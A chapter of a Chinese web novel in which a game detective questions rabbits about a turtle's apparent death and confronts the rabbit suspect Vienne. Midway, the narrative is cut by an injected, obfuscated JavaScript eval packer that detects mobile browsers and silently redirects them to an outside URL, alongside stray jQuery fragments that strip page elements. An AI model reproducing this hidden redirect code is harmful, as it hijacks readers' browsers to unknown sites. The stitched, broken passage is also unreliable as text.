“可不是!他出现的第一天,猎人就跟在他后头,打死了好几窝兔子。”
“是维恩带来的?”
“他说不是,可整个森林就他和人类走得近,不是他还能是谁?猎人怎么会找到我们的窝?”
“之前没找到过?”
“找到过,但那次来了三个猎人!三个!”
“这么多猎人一定是维恩带来的!他居然还狡辩说不知道!”
“就是就是,兔子的耳朵那么灵,他怎么会不知道身后有人跟着?”
这群兔子的智商真是忽高忽低。
“要不是他有人类撑腰,我早就一脚把他踢出露珠甸。”一只兔子说着,还真的飞起一脚。
白楚楚听着,知道这群兔子的判断全靠联想,没有实据。
等会,如果维恩没说谎的话,那他的耳朵是不是有问题?
她又想起这些兔子对阿图尔的态度:“你们之前讨厌阿图尔是因为他和维恩走得近,后来喜欢他是因为他打败了维恩,现在又觉得他没本事,是因为他轻而易举就被蛇吃了?”
“我们才不喜欢他!”兔子立刻反驳,“都怪维恩,怎么会有乌龟跑得赢兔子,也就那些脑子不好使的动物才会喜欢阿图尔!”
这次,白楚楚告诉他们那场比赛另有隐情。
顽固的兔子们却并不当一回事:“输了就是输了,要不是他大意会这样吗?”
白楚楚现在对森林的规则有了大致的了解,在这里,结果就是一切,真相并不重要。
和这群话痨兔子聊完,天色已近黄昏。
白楚楚跟它们道别,回事务所。
回去的路上她在想,如果维恩的耳朵真的有问题,那他当初没发现身后跟着猎人,倒也不是不可能。
可那群兔子言之凿凿,维恩又从来没提过自己听力不好,是觉得丢脸,还是另有隐情?
而这几次对话,系统基本没出声,白楚楚只能自己把线索排了排。
维恩初到露珠甸森林时,猎人跟着他找到了兔子窝,打死了好几窝兔子,动物们认定是他引来的人,从此不待见他。
后来他替老马伦采药,和人类走得近,进一步加深了动物们的敌意。
阿图尔出现后,维恩不再欺负森林里的动物,反而帮着人类一起清剿了蛇和狐狸,可没多久,又有新的蛇出现。
显然,这片森林从来都在老马伦的掌控之下。
还有那副龟壳……
她突然意识到一个先前忽略的细节,就算她对动物习性了解有限,但阿图尔那副壳过于干净,边缘光滑,不像被啃食过的痕迹,连一丝肉渣血沫都没留下。
如果阿图尔不是被蛇咬死的呢?
如果他在被丢进蛇窝之前,就已经死了呢?又或者他还没死……
那副壳,说不定是有人故意放进蛇窝,伪造出被蛇吃掉的假象,而能做到的人,只有引她去蛇窝的维恩。
白楚楚叫出系统,把自己的分析说了一遍。
但系统的回答是——
【那副龟壳的确是阿图尔的,乌龟离开壳无法存活,不过你提到的点,确实值得注意,稍等,我去协调一下,看能不能先为你解锁解剖室】
白楚楚:爱你哟~
【呵】
天快黑了,白楚楚困意上涌,但她想一鼓作气弄完这个案子,睡上几天几夜。
至于夜里出没的盗贼和流浪汉,总不至于跑到森林里来吧。
她摸出剩下的黑面包,掰碎了找到几只小鸟,请它们帮忙在露珠甸森林附近找一找兔子的足迹。
好在小鸟并不像那些兔子警惕,见白楚楚自己先吃了一口,才小口小口啄起来,吃饱之后,倒也爽快地应下了。
小鸟很快有所发现,白楚楚用足迹粉比对过后,在另一处偏僻的地方发现了维恩的足迹,那地方离小镇不远,周围还放了些人类做的陷阱。
白楚楚正要绕过那些陷阱往里去,维恩毫无预兆的出现在她面前。
“侦探,天快黑了,你怎么还在这,我在侦探事务所等了你好久。”
维恩站在几步开外,红眼睛在渐暗的天色里显得格外亮,一身白毛脏兮兮的,前爪却小心捧着几根胡萝卜。
他把胡萝卜放到白楚楚面前:“喏,五根,够了吧?这几根可以换两个铜币了。”
大致了解过物价的白楚楚不知道维恩是不是认真的,但她很想知道维恩到底想做什么。
系统那边还没消息,她便顺势把胡萝卜收了,取出龟壳递过去:“给你。”
维恩接过龟壳,整个人明显放松下来:“谢谢你,这是我唯一的纪念了。”
白楚楚没有继续这个话题,话锋一转:“你耳朵是不是坏了?”
维恩愣了一下,显然完全没料到会被问这个,脸上的松弛瞬间没了,沉默几秒才点头。
“没错,你是怎么知道的?”
【获得线索:维恩的耳朵有毛病】
白楚楚把之前从其他兔子那打听到的告诉他。
“原来是这样,你还真是敏锐。”维恩苦笑一声,“你是第二个相信我说真话的。”
“第一个是阿图尔?”
“嗯。”
白楚楚又问:“阿图尔真的死了吗?”
维恩几乎没有任何停顿,立刻就回答:“那天你不是看到了吗?阿图尔已经被蛇吃掉了。”
看来阿图尔有必须死的理由,但肯定不是因为他在维恩胡萝卜里动手脚。
正想着,系统回来了。
【你已经把龟壳交出去了?】
白楚楚:是啊,我觉得阿图尔没死,毕竟那个龟壳的确很干净。
【……我不要你觉得,侦探办案要讲证据!】
之前还说壳不重要,这会儿又讲起证据来了。
真是个善变的系统。
白楚楚不鸟他,而是问了维恩最后问一个问题。
“维恩,有人和我说,你亲眼看到阿图尔去了药铺,是在比赛前吗?”
草浪里安静下来,风穿过草叶的声音变得很清晰。
过了好一会,维恩才开口:“不,我并没有亲眼看到阿图尔去了药铺,你告诉我他去过药铺时,我也很意外。”
“但,现在这些都不重要了,阿图尔已经死了,你们人类有句话是这么说的,死者为大,对吗?”
他说完,抬头看了看暗下来的天色:“一切都结束了,我要带着阿图尔的龟壳离开这座小镇。”
话音落下,白楚楚眼前的一切忽然定住。
【是否就此结束调查,以维恩为凶手结案,提交给神秘人?】
白楚楚没有立刻选择,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913916|213255||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只问:能告诉我两种不同选择的后果吗?
【委托迎来关键转折,按当前剧情,维恩拿到龟壳后会离开露珠甸,若他是真凶,神秘人必须在他离开前完成处决,委托结束】
【若他不是,你必须找到真凶交给神秘人才能结束委托】
白楚楚:你不是说办案要讲证据吗?这是?
【依据现有证据,他的确嫌疑最大,除非你找到其他证据,或阻止他离开】
第一个选择太诱人了。
有了系统提示,白楚楚反倒能确认,维恩不会把龟壳交给老马伦。这里面一定有隐情。
而且,系统似乎已经确认阿图尔死亡,但明明在她刚刚的猜测里阿图尔还活着,难道仅仅因为乌龟离了壳便活不成?那万一露珠甸就是凭空多出一只龟呢?
算了,系统手握剧本,她玩游戏的目的是睡觉,就算维恩在这桩案子里是冤枉的,但他以前也害过不少同类,算不得无辜。
可……真要把不是维恩干的事扣到他头上,她所剩不多的良心,多少有点过不去。
她又想起刚刚那几根又红又大的胡萝卜,或许是维恩找到的最好的胡萝卜了。
白楚楚:等我一下。
游戏内的时间重新流动。
“等一下。”白楚楚叫住正要转身离开的维恩。
维恩脚步一顿,疑惑地回头。
“我想了想,你给的委托费不够,至少得十五个铜币。”
维恩瞪圆双眼:“这么多?你刚才怎么不说?又是刚想起来的?”
白楚楚干笑:“没错,两个铜币也就够我吃一顿,今天的面包还是摊贩看我可怜给的。”
想到白楚楚杀死蛇的实力,维恩最终还是同意了:“行,既然你把壳还了我,剩下的我会付清,说好了,一共十五个铜币,已经给你两个,还差十三个,可不能再变。”
“我保证。”
夜色铺天盖地的落下来,维恩把龟壳紧紧抱在怀里,没再多说一句话,身影很快消失在夜色中。
白楚楚没回事务所,又厚着脸皮赊账。
这回系统意外地好说话,竟没嘲讽她,她在附近草地里放了张简易小床,躺上去,让系统帮忙盯着,有动静就喊她。
为防万一,她把之前制成的蛇毒剂攥在手里,半睡半醒地躺了下去。
森林里夜里很静,风从草尖上滚过去,像极轻的潮声,白楚楚几乎一闭眼就睡了过去。
【有人来了!】
白楚楚猛地睁开眼睛,没起身,只把手里的毒剂又握紧几分。
头顶的草影里,一个模糊的影子正朝她这边走来。
白楚楚问系统:谁啊?
【药铺老板老马伦】
白楚楚:追龟壳追到这了?真敬业。
黑夜中,老马伦显然完全没料到,会有人大半夜睡在森林里,望见草地上突兀的小床,又看了看不远处的土包,那是维恩的新窝。
犹豫片刻,他到底没举起手里的枪,老马伦打算绕过小床,悄悄朝维恩的窝摸去。
而白楚楚在泼与不泼之间犹豫。
【他手里有枪,你最好还是装睡,反正离得不远,待会儿有什么动静也听得见】
白楚楚安详的闭上眼睛。
【!】
【给我把眼睛睁开!】